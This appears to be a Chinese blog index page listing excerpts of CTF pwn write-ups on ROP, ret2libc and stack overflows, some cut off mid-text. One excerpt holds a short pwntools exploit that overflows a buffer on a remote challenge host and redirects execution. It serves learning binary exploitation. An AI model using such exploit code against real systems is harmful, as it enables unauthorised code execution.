摘要: 如果遇到NX保护,即栈堆不可执行的情况,我们shellcode将不能作为机器码被执行,那么我们就需要新的方法————ROP技术。 何为ROP?ROP的全称为返回导向编程。听名字十分牛的样子。ROP的核心在返回,即ret上。ret等价于pop EIP/RIP,call所调用的函数结束后,ret会把返回 阅读全文
posted @ 2025-11-01 12:38 九天521 阅读(16) 评论(0) 推荐(0)
摘要: 从ret2libc开始,我们将不再局限于像ret2text那样的栈溢出了,而是要开始接触另一个技术————ROP技术。什么是ROP技术我此前详细写了博客,在此不再赘述。 ret2libc就是拿程序里已有的函数库做文章,可以ret到的plt表,或或者ret到函数实际放置的got表处 egctfshow 阅读全文
posted @ 2025-11-01 10:16 九天521 阅读(8) 评论(0) 推荐(0)
摘要: 来看一道非常简单的栈溢出 、 ctfshow函数里面有read函数,最多可以读0x32个字节 后门函数地址ida里很明显,0x8048521 exp本身不难写,下面看一下怎么用gdb确定偏移 'from pwn import* io=process("./pwn") #io=remote("pwn. 阅读全文
posted @ 2025-10-27 18:18 九天521 阅读(5) 评论(0) 推荐(0)
摘要: from pwn import * io = remote("39.106.48.123", 29826) payload = b"A"*264 + p64(0x401202) io.sendline(payload) io.interactive() 264即258+8,258是rbp的位置,id 阅读全文
posted @ 2025-10-24 21:55 九天521 阅读(17) 评论(0) 推荐(0)